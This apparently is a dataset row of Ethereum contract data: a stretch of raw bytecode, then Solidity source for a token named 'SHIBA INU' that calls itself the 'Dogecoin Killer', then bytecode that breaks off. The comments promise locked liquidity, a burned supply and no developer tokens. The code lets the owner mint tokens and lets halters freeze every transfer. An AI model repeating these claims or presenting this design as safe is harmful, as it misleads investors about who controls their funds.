0806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122062a5422e47fcc4ed77322ef0b4296f31b42a1470b660655e09e3c3ba5a52f05764736f6c634300060c0033 | [
38
] |
0xf33344de21d9f828288061212db89bcf2834b0ed | /*
``
`oyyys+:. `-/+syyy-
oyyyyyyyys/. ``...------------...`` `:oyyyyyyyyy`
.yyyyyyyyyyyyo- `.--:::////////////////////:::--.`` -oyyyyyyyyyyyy/
-yyyyyyyyyyyyyys:` `.-::://///////////////////////////////::-.` `/syyyyyyyyyyyyyyo
:yyyyyyyyyyyyyyyys/:///////////////////////////////////////////+yyyyyyyyyyyyyyyyys
:yyyssssyyyyyyyyyyys+////////////////////////////////////////+yyyyyyyyyyyssssyyyys
:yyysssssssyyyyyyyyyys+////////////////////////////////////+syyyyyyyyyyssssssyyyy+
-yyysssssssssyyyyyyyyyys////++oosssyyyyyyyyyyyysssoo++////oyyyyyyyyyyssssssssyyyy:
`yyyssssssssssyyyyyyyyyyyssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyssyyyyyyyyyssssssssssyyyy.
syyyssssssssssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyysssssssssssyyys
/yyysssssssssssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyysssssssssssyyyy:
.yyysssssssssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyysssssssssyyyy.
`:syyyssssssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyssssssyyyyo:.
.:/+yyyysssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyssssyyyy///-
.:///syyyssyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyssyyyyo////-
.:////+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy//////-
`://////oyyyyyyyyyyyyyyhddmdhhyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyhddddhhyyyyyyyyyyyyyy+///////.
:////////syyyyyyyyyyyhmNMMMMMNdyyyyyyyyyyyyyyyyyyyyyyyyyyyhmNMMMMMNdyyyyyyyyyyyys/////////`
-/////////+yyyyyyyyyyymMMMMMMMMMdyyyyyyyyyyyyyyyyyyyyyyyyyyNMMMMMMMMMhyyyyyyyyyyy+/////////:
`://///////syyyyyyyyyyymMMMMMMMMMmyyyyyyyyyyyyyyyyyyyyyyyyyyNMMMMMMMMMhyyyyyyyyyyyy//////////.
-/////////syyyyyyyyyyyyyddddddddhyyyyyyyyyyyyyyyyyyyyyyyyyyyhhdddddddhyyyyyyyyyyyyyy/////////:
:////////oyyyyyyyyyyyyoosyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyso+oyyyyyyyyyyys/////////`
`////////+yyyyyyyyyyyy+ .:+yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyys/-` yyyyyyyyyyyyo////////-
.////////yyyyyyyyyyyyy/ -/syyyyyyyyyyyyyyyyyyyyyyyyyyyyyo:. syyyyyyyyyyyy+///////:
-///////oyyyyyyyyyyyyys. ./syyyyyyyyyyyyyyyyyyyyyyyo:` :yyyyyyyyyyyyys///////:
-///////yyyyyyyyyyyyyyyys/-` -syyyyyyyyyyyyyyyyyyyo. `:+yyyyyyyyyyyyyyyy+///////
-//////oyyyyyyyyyyyyyyyyyyyys+/:-.` .yyyyyyyyyyyyyyyyyyy` ``.-:/oyyyyyyyyyyyyyyyyyyyys//////:
.//////syyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyhdmmNNMMMMMNNmdhhyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy//////:
`//////yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyhdNMMMMMMMMMMMMMMMMMmdhyyyyyyyyyyyyyyyyyyyyyyyyyyyyy//////-
:////+yyyyyyyyyyyyyyyyyyyyyyyyyyyyhmMMMMMMMMMMMMMMMMMMMMMMNdhyyyyyyyyyyyyyyyyyyyyyyyyyyy+/////.
-////odmmmmmmmmdddhyyyyyyyyyyyyyydMMMMMMMMh/::::::::/yMMMMMMNhyyyyyyyyyyyyyhhdddmmmmmmddo////:
`////sMMMMMMMMMMMMMNNmhhyyyyyyyhNMMMMMMMMM` dMMMMMMMdyyyyyyyyhdmNMMMMMMMMMMMMMo////-
-////NMMMMMMMMMMMMMMMMNmhyyyyhNMMMMMMMMMM` dMMMMMMMMdyyyyhmNMMMMMMMMMMMMMMMMN////:`
`:///sMMMMMMMMMMMMMMMMMMMNdhhNMMMMMMMMMMMs` -MMMMMMMMMMhydNMMMMMMMMMMMMMMMMMMMs////.
.////yMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMmo-` .oNMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMh////-
.////sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmo /dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy////:
-////+dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh oMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNs////:`
-/////smMMMMMMMMMMMMMMMMMMMMMMMMmsoohdddds. `/ddddyoosMMMMMMMMMMMMMMMMMMMMMMMd+////:`
.://///ymMMMMMMMMMMMMMMMMMMMMMMM+ :o+/::--::/+os. /MMMMMMMMMMMMMMMMMMMMMms/////-`
`://////smMMMMMMMMMMMMMMMMMMMMMNy +MMo+y:-o+sMMM-`hNMMMMMMMMMMMMMMMMMMMms/////:.
`-://////odNMMMMMMMMMMMMMMMMMMMM+oMMMMMdhMMMMMM+yMMMMMMMMMMMMMMMMMMNdo//////:`
`:///////+smNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy+//////:.
.:////////+ydNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmyo///////:-`
.://///////+shNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNds+////////:-`
.-://////////+shmNMMMMMMMMMMMMMMMMMMMMMMMMMMMNNdyo//////////:.`
`.::///////////+oyhmNNMMMMMMMMMMMMMMMNNmhyo+///////////:-`
`.:://////////////+osyyhhddhhhysso+/////////////::-.
`.-::////////////////////////////////////::-.`
`.-:://////////////////////////::-..`
``..---:::::::::::::--..`
*/
pragma solidity 0.5.10;
/*
* SHIBA TOKEN - The Dogecoin Killer
*
* https://shibatoken.com
* Telegram Group 1: https://t.me/ShibaInuTheDogecoinKiller
* Telegram Group 2: https://t.me/ShibaInuTheDogecoinKiller2
* Telegram Group 3: https://t.me/ShibaInuTheDogecoinKiller3
*
* Decentralized Meme Tokens that grew into a vibrant ecosystem
* ShibaSwap. Fun tokens. Artist incubator.
* Growing 999k+ Community & more on the horizon!
*
* SHIB is an experiment in decentralized spontaneous community building.
* SHIB token is our first token and allows users to hold Billions or even Trillions of them.
* Nicknamed the DOGECOIN KILLER, this ERC-20 ONLY token can remain well under a penny and still outpace Dogecoin in a small amount of time (relatively speaking).
*
* We locked the 50% of the total supply to Uniswap and threw away the keys!
* The remaining 50% was burned to Vitalik Buterin and we were the first project following this path, so everyone has to buy on the open market, ensuring a fair and complete distribution where devs don't own team tokens they can dump on the community.
*/
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "Caller is not the owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title MinterRole
* @dev role for addresses who has permission to mint tokens.
*/
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(msg.sender), "Caller has no permission");
_;
}
function isMinter(address account) public view returns (bool) {
return(_minters.has(account) || isOwner(account));
}
function addMinter(address account) public onlyOwner {
_minters.add(account);
emit MinterAdded(account);
}
function removeMinter(address account) public onlyOwner {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title HalterRole
* @dev role for addresses who has permission to pause any token movement.
*/
contract HalterRole is Ownable {
using Roles for Roles.Role;
event HalterAdded(address indexed account);
event HalterRemoved(address indexed account);
Roles.Role private _halters;
modifier onlyHalter() {
require(isHalter(msg.sender), "Caller has no permission");
_;
}
function isHalter(address account) public view returns (bool) {
return(_halters.has(account) || isOwner(account));
}
function addHalter(address account) public onlyOwner {
_halters.add(account);
emit HalterAdded(account);
}
function removeHalter(address account) public onlyOwner {
_halters.remove(account);
emit HalterRemoved(account);
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* See https://eips.ethereum.org/EIPS/eip-20
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0));
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(amount));
}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for.
*/
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*/
contract ERC20Mintable is ERC20Burnable, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
/**
* @dev Extension of {ERC20} that adds a possibility to temporary prevent any token movements.
*/
contract ERC20Haltable is ERC20Mintable, HalterRole {
bool public paused;
event Paused(address by);
event Unpaused(address by);
modifier notPaused() {
require(!paused);
_;
}
function pause() public onlyHalter {
paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyHalter {
paused = false;
emit Unpaused(msg.sender);
}
function _transfer(address from, address to, uint256 value) internal notPaused {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal notPaused {
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal notPaused {
super._burn(account, amount);
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
interface IApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract SHIBA is ERC20Haltable {
string private _name = "SHIBA INU";
string private _symbol = "SHIB";
uint8 private _decimals = 18;
uint256 internal constant _emission = 1000000000000000 * (10 ** 18);
mapping (address => bool) private _contracts;
bool public mintingFinished;
mapping (address => uint256) internal holderMap;
address[] public holderList;
modifier onlyMinter() {
if (mintingFinished) {
revert();
}
require(isMinter(msg.sender), "Caller has no permission");
_;
}
constructor() public {
_addHolder(address(0));
}
function _transfer(address from, address to, uint256 value) internal {
if (value != 0) {
if (holderMap[to] == 0) {
_addHolder(to);
}
if (balanceOf(from).sub(value) == 0) {
_removeHolder(from);
}
}
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _emission);
if (value != 0 && holderMap[account] == 0) {
_addHolder(account);
}
super._mint(account, value);
}
function _burn(address account, uint256 amount) internal {
if (balanceOf(account).sub(amount) == 0) {
_removeHolder(account);
}
super._burn(account, amount);
}
function _addHolder(address account) internal {
holderList.push(account);
holderMap[account] = holderList.length.sub(1);
}
function _removeHolder(address account) internal {
if (holderList.length > 1) {
holderList[holderMap[account]] = holderList[holderList.length.sub(1)];
holderMap[holderList[holderList.length.sub(1)]] = holderMap[account];
}
holderMap[account] = 0;
holderList.length = holderList.length.sub(1);
}
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
IApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
function registerContract(address addr) public onlyOwner {
require(isContract(addr));
_contracts[addr] = true;
}
function unregisterContract(address addr) external onlyOwner {
_contracts[addr] = false;
}
function finishMinting() external onlyMinter {
mintingFinished = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function isRegistered(address addr) public view returns (bool) {
return _contracts[addr];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function amountOfHolders() public view returns (uint256) {
return holderList.length.sub(1);
}
function holders() public view returns (address[] memory) {
return holderList;
}
} | 0x608060405234801561001057600080fd5b506004361061021c5760003560e01c806379cc679011610125578063a74baaa4116100ad578063c440b5f61161007c578063c440b5f614610ae2578063cae9ca5114610b26578063dd62ed3e14610c23578063f2fde38b14610c9b578063fac2c62114610cdf5761021c565b8063a74baaa4146109a6578063a9059cbb146109c4578063aa271e1a14610a2a578063c3c5a54714610a865761021c565b80638da5cb5b116100f45780638da5cb5b146107eb57806395d89b4114610835578063983b2d56146108b8578063a1e8b4f1146108fc578063a457c2d7146109405761021c565b806379cc67901461072a5780637d64bcb4146107785780638188f71c146107825780638456cb59146107e15761021c565b8063313ce567116101a857806342966c681161017757806342966c681461061c5780635c975abb1461064a5780635fe0a0181461066c57806370a08231146106c8578063715018a6146107205761021c565b8063313ce5671461052257806339509351146105465780633f4ba83a146105ac57806340c10f19146105b65761021c565b806318160ddd116101ef57806318160ddd1461039a57806322a5dde4146103b857806323b872dd146103fc5780632f54bf6e146104825780633092afd5146104de5761021c565b806305d2035b1461022157806306fdde0314610243578063095ea7b3146102c657806316ad42ad1461032c575b600080fd5b610229610d23565b604051808215151515815260200191505060405180910390f35b61024b610d36565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028b578082015181840152602081019050610270565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610312600480360360408110156102dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd8565b604051808215151515815260200191505060405180910390f35b6103586004803603602081101561034257600080fd5b8101908080359060200190929190505050610def565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610e2b565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b005b6104686004803603606081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f1d565b604051808215151515815260200191505060405180910390f35b6104c46004803603602081101561049857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fce565b604051808215151515815260200191505060405180910390f35b610520600480360360208110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611028565b005b61052a6110fd565b604051808260ff1660ff16815260200191505060405180910390f35b6105926004803603604081101561055c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611114565b604051808215151515815260200191505060405180910390f35b6105b46111b9565b005b610602600480360360408110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112b4565b604051808215151515815260200191505060405180910390f35b6106486004803603602081101561063257600080fd5b810190808035906020019092919050505061135f565b005b61065261136c565b604051808215151515815260200191505060405180910390f35b6106ae6004803603602081101561068257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061137f565b604051808215151515815260200191505060405180910390f35b61070a600480360360208110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ac565b6040518082815260200191505060405180910390f35b6107286113f4565b005b6107766004803603604081101561074057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611530565b005b61078061153e565b005b61078a6115f0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107cd5780820151818401526020810190506107b2565b505050509050019250505060405180910390f35b6107e961167e565b005b6107f3611779565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61083d6117a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087d578082015181840152602081019050610862565b50505050905090810190601f1680156108aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108fa600480360360208110156108ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611845565b005b61093e6004803603602081101561091257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061191a565b005b61098c6004803603604081101561095657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119ef565b604051808215151515815260200191505060405180910390f35b6109ae611a94565b6040518082815260200191505060405180910390f35b610a10600480360360408110156109da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ab4565b604051808215151515815260200191505060405180910390f35b610a6c60048036036020811015610a4057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b63565b604051808215151515815260200191505060405180910390f35b610ac860048036036020811015610a9c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b90565b604051808215151515815260200191505060405180910390f35b610b2460048036036020811015610af857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be6565b005b610c0960048036036060811015610b3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b8357600080fd5b820183602082011115610b9557600080fd5b80359060200191846001830284011164010000000083111715610bb757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cbb565b604051808215151515815260200191505060405180910390f35b610c8560048036036040811015610c3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b6040518082815260200191505060405180910390f35b610cdd60048036036020811015610cb157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea2565b005b610d2160048036036020811015610cf557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612080565b005b600b60009054906101000a900460ff1681565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dce5780601f10610da357610100808354040283529160200191610dce565b820191906000526020600020905b815481529060010190602001808311610db157829003601f168201915b5050505050905090565b6000610de5338484612156565b6001905092915050565b600d8181548110610dfc57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610e3e33610fce565b610eb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b610eb9816122b5565b610ec257600080fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610f2a8484846122c8565b610fc38433610fbe85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b61103133610fce565b6110a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572